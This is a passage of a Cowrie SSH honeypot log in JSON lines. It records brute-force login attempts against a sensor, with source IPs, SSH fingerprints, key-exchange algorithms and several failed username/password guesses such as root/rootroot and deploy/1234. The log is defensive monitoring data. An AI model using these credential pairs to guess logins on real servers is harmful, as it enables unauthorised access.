6","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:58.357774Z","src_ip":"91.92.42.133","session":"2074e9b8b20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37490,"dst_ip":"159.203.135.109","dst_port":22,"session":"e202e5224841","protocol":"ssh","message":"New connection: 91.92.40.171:37490 (159.203.135.109:22) [session: e202e5224841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:59.368498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:59.524544Z","src_ip":"91.92.40.171","session":"e202e5224841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:59.528225Z","src_ip":"91.92.40.171","session":"e202e5224841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:59.843015Z","src_ip":"91.92.42.133","session":"2074e9b8b20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:00.254420Z","src_ip":"91.92.40.171","session":"e202e5224841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:01.035295Z","src_ip":"91.92.42.133","session":"2074e9b8b20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:01.433984Z","src_ip":"91.92.40.171","session":"e202e5224841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42704,"dst_ip":"159.203.135.109","dst_port":22,"session":"e17207de150c","protocol":"ssh","message":"New connection: 194.59.206.2:42704 (159.203.135.109:22) [session: e17207de150c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:03.176572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:03.181359Z","src_ip":"194.59.206.2","session":"e17207de150c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:03.266972Z","src_ip":"194.59.206.2","session":"e17207de150c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:03.368543Z","src_ip":"194.59.206.2","session":"e17207de150c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43200,"dst_ip":"159.203.135.109","dst_port":22,"session":"20dd029f8c57","protocol":"ssh","message":"New connection: 91.92.42.133:43200 (159.203.135.109:22) [session: 20dd029f8c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:05.130864Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45496,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3bc9e6ebac2","protocol":"ssh","message":"New connection: 91.92.40.171:45496 (159.203.135.109:22) [session: e3bc9e6ebac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:05.278900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:05.323110Z","src_ip":"91.92.40.171","session":"e3bc9e6ebac2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:05.421025Z","src_ip":"91.92.40.171","session":"e3bc9e6ebac2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:05.633961Z","src_ip":"91.92.42.133","session":"20dd029f8c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:05.654808Z","src_ip":"91.92.42.133","session":"20dd029f8c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password","message":"login attempt [tester/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:05.831327Z","src_ip":"91.92.40.171","session":"e3bc9e6ebac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:06.983962Z","src_ip":"91.92.40.171","session":"e3bc9e6ebac2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"root","message":"login attempt [teamspeak/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:07.100688Z","src_ip":"91.92.42.133","session":"20dd029f8c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:08.619693Z","src_ip":"91.92.42.133","session":"20dd029f8c57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45518,"dst_ip":"159.203.135.109","dst_port":22,"session":"39a51a3c190e","protocol":"ssh","message":"New connection: 91.92.40.171:45518 (159.203.135.109:22) [session: 39a51a3c190e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:10.553432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:11.043148Z","src_ip":"91.92.40.171","session":"39a51a3c190e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:11.046110Z","src_ip":"91.92.40.171","session":"39a51a3c190e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:11.899981Z","src_ip":"91.92.40.171","session":"39a51a3c190e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:13.013532Z","src_ip":"91.92.40.171","session":"39a51a3c190e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43308,"dst_ip":"159.203.135.109","dst_port":22,"session":"b314947106dd","protocol":"ssh","message":"New connection: 91.92.42.133:43308 (159.203.135.109:22) [session: b314947106dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:13.392403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:13.480126Z","src_ip":"91.92.42.133","session":"b314947106dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:13.492234Z","src_ip":"91.92.42.133","session":"b314947106dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:14.315407Z","src_ip":"91.92.42.133","session":"b314947106dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:15.431690Z","src_ip":"91.92.42.133","session":"b314947106dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59018,"dst_ip":"159.203.135.109","dst_port":22,"session":"91bfba31064a","protocol":"ssh","message":"New connection: 91.92.40.171:59018 (159.203.135.109:22) [session: 91bfba31064a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:16.477553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:16.502029Z","src_ip":"91.92.40.171","session":"91bfba31064a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:16.600774Z","src_ip":"91.92.40.171","session":"91bfba31064a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:16.987242Z","src_ip":"91.92.40.171","session":"91bfba31064a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:18.172028Z","src_ip":"91.92.40.171","session":"91bfba31064a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47728,"dst_ip":"159.203.135.109","dst_port":22,"session":"f814fec68df0","protocol":"ssh","message":"New connection: 91.92.42.133:47728 (159.203.135.109:22) [session: f814fec68df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:21.062718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:21.090763Z","src_ip":"91.92.42.133","session":"f814fec68df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:21.189101Z","src_ip":"91.92.42.133","session":"f814fec68df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:21.610119Z","src_ip":"91.92.42.133","session":"f814fec68df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59058,"dst_ip":"159.203.135.109","dst_port":22,"session":"d86e7d22d24d","protocol":"ssh","message":"New connection: 91.92.40.171:59058 (159.203.135.109:22) [session: d86e7d22d24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:22.539603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:22.550591Z","src_ip":"91.92.40.171","session":"d86e7d22d24d","protocol":"ssh"}
